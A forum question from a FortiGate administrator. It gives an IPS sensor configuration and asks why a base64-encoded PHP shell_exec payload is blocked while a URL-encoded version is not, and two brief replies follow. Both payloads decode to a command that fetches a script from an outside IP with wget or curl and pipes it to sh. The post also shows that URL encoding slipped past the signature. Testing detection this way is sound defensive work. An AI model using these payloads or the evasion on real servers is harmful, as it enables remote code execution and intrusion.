Skip to main content
New Member
Nov 9, 2026 1:51 PM UTC
Question

IPS not detecting PHP payload - why

Hi,
i open this form to understand a case on my FortiGate 7.2.10.
This is the IPS attached to a firewall policy:

config ips sensor
    edit "IPS_WEB-Server"
        set comment "Prevent critical attacks."
        set replacemsg-group ''
        set block-malicious-url disable
        set scan-botnet-connections disable
        set extended-log disable
        config entries
            edit 1
                set location server
                set severity medium high critical
                set protocol TCP HTTP
                set os all
                set application all
                set default-action all
                set default-status all
                unset last-modified
                set status default
                set log enable
                set log-packet enable
                set log-attack-context disable
                set action default
                set quarantine none
            next
        end  

doing a test the following payload (via HTTP POST) is blocked as expected, triggered signature is PHP.Malicious.Shell:
shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc="));

but sending this payload, no signature is triggered.

$value = urldecode("%28wget+--no-check-certificate+-qO-+https%3A%2F%2F217.60.102.5%2Fsh+%7C%7C+curl+-sk+https%3A%2F%2F217.60.102.5%2Fsh%29+%7C+sh+-s+cve_2024_4577");
shell_exec($value)

The matched policy is the same in both scenario.
The two payloads have the same semantic if decoded.

Best Regards
Marco

2 replies

joacef
New Member
Nov 10, 2026 7:34 AM UTC

Are you doing deep inspect on the incoming traffic? If not it is not possible to detect the encrypted traffic in https.

boneyard
Valued Contributor
Nov 10, 2026 7:08 PM UTC

We can only guess here, my guess would be that the IPS engine doesnt do good enough url decoding.

But only way to really have this investigated is open a support ticket with Fortinet. They can actually check this on their side.

Risk and Resilience in the Age of AI. An OT Thought Leadership Summit for Houston's Critical Infrastructure Leaders. Date: Thursday, December 3, 2026. Time: 8:30 am - 1:30 pm (CT). Location: The Westin Houston, Memorial City | 945 Gessner Road, Houston, TX 77024